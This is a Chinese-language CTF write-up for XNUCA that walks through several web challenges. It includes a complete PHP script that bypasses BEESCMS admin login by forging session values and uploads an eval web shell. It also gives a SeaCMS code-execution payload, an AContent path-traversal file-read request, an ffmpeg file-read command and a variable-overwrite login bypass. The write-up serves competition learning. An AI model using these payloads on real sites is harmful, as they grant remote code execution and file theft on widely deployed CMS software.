XNUCA Writeup

NO.1

点击重置密码，用户名admin, 安全问题：喜欢，提交拿到flag

NO.2

查看源码发现提示

```
<!--pav1和lloowweerrxx经常因为用同一个账号而吵起来-->
<!--pav1建数据库喜欢用默认的latin1，lloowweerrxx写程序的时候set了一下utf8,他们好像又吵起来啦-->
```

想到p牛之前说的mysql字符串的编码特性的文章，提交`admin%c2`, 将得到的md5到somd5上一查，得到flag

NO.3

打开一看是一个视频文件转mp4， 猜测是ffmpeg漏洞，用github上的利用脚本生成一个avi，上传后下载打开即可看到flag

```
python3 gen_xbin_avi.py file:///home/user/flag 3.avi
```

NO.7

提示有备份文件，存在www.zip 备份文件， 下载下来后审计

```php
<?php
include_once("common.php");
if(!isset($_SESSION["userinfo"])) {
    header("Location: login.php");
    die();
}
$userinfo = $_SESSION["userinfo"];
if($old_pass = $userinfo['password']) {
    if($userinfo["id"] == 1) {
        echo "flag{xxx}";
        die();
    }
```

输出flag的条件是`if($userinfo["id"] == 1)`, 在`do_login.php`中发现`$userinf`数组变量并没有初始化就直接给成员赋值， 利用变量覆盖漏洞，在登录的时候post内容为:`username=lj&password=lj&userinfo=1`, 覆盖掉$userinfo的值为1, 这样，登录进去后id就为1了，在修改密码的地方拿到flag

NO.8 买视频真嗨皮

seebug搜索seacms漏洞，找到一处代码执行的漏洞
， 向文件 search.php?searchtype=5 POST内容为:

```
searchword=d&order=}{end if}{if:1)phpinfo();if(1}{end if}
```

利用命令执行漏洞写入文件，用find命令找到flag在`/etc/flag.txt`文件中， 读取拿到flag

No. 11 两只小蜜蜂

beescms getshell漏洞
参考;https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=13977&highlight=beescms， 利用文章中的脚本getshell后拿到flag

```php
<?php
$uri = 'http://b0aece0cbfc4bffe7ff8764a7adfdcb1.xnuca.cn/';
$payload1 = '_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=999999
99999';
$payload2 = array(
    'up"; filename="shell.php"' . "\r\nContent-Type:image/png\r\n\r\n<?php eval
(\$_POST['x']);?>" => '',
);
preg_match('#Set-Cookie:(.*);#', myCurl($uri . "/index.php", $payload1), $matc
h);
if (!isset($match[1])) {
    die('[-]Opps! Cannot get Cookie...');
}
echo "[+]Got Cookie:" . $match[1] . "\r\n";
echo "[+]Now trying to getshell...\r\n";
$tmp = myCurl($uri . "/admin/upload.php", $payload2, $match[1]);
preg_match('#val\(\'(.*)\'\)#', $tmp, $shell);
if (!isset($shell[1])) {
    die('[-]Opps! Cannot get shell... see below\r\n' . $tmp);
}
echo "[+]Your shell:" . $uri . "/upload/" . $shell[1] . " [password]:x";

function myCurl($url, $postData = '', $cookie = '') {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    if ($cookie != '') {
        curl_setopt($ch, CURLOPT_COOKIE, $cookie);
    }
    $ret = curl_exec($ch);
    curl_close($ch);
    return $ret;
}
```

NO.18 开讲了

seebug 找到了AContent1.3的本地文件包含漏洞的文章

```
POST /oauth/lti/common/tool_provider_outcome.php HTTP /1.1

grade=1&key=1&secret=secret&sourcedid=1&submit=Send%20Grade&url=../../../../../
etc/flag.txt
```

这提也只是读取到flag, 但没写成功

Freecms

s2-045 漏洞， 利用exp命令执行拿flag 即可

找入口

网上找到wolf的后台任意文件getshell漏洞， 发现该网站admin,admin弱口令可登录网站， 因此成功利用后台的任意文件上传漏洞getshell, 拿到flag
http://www.freebuf.com/articles/web/138640.html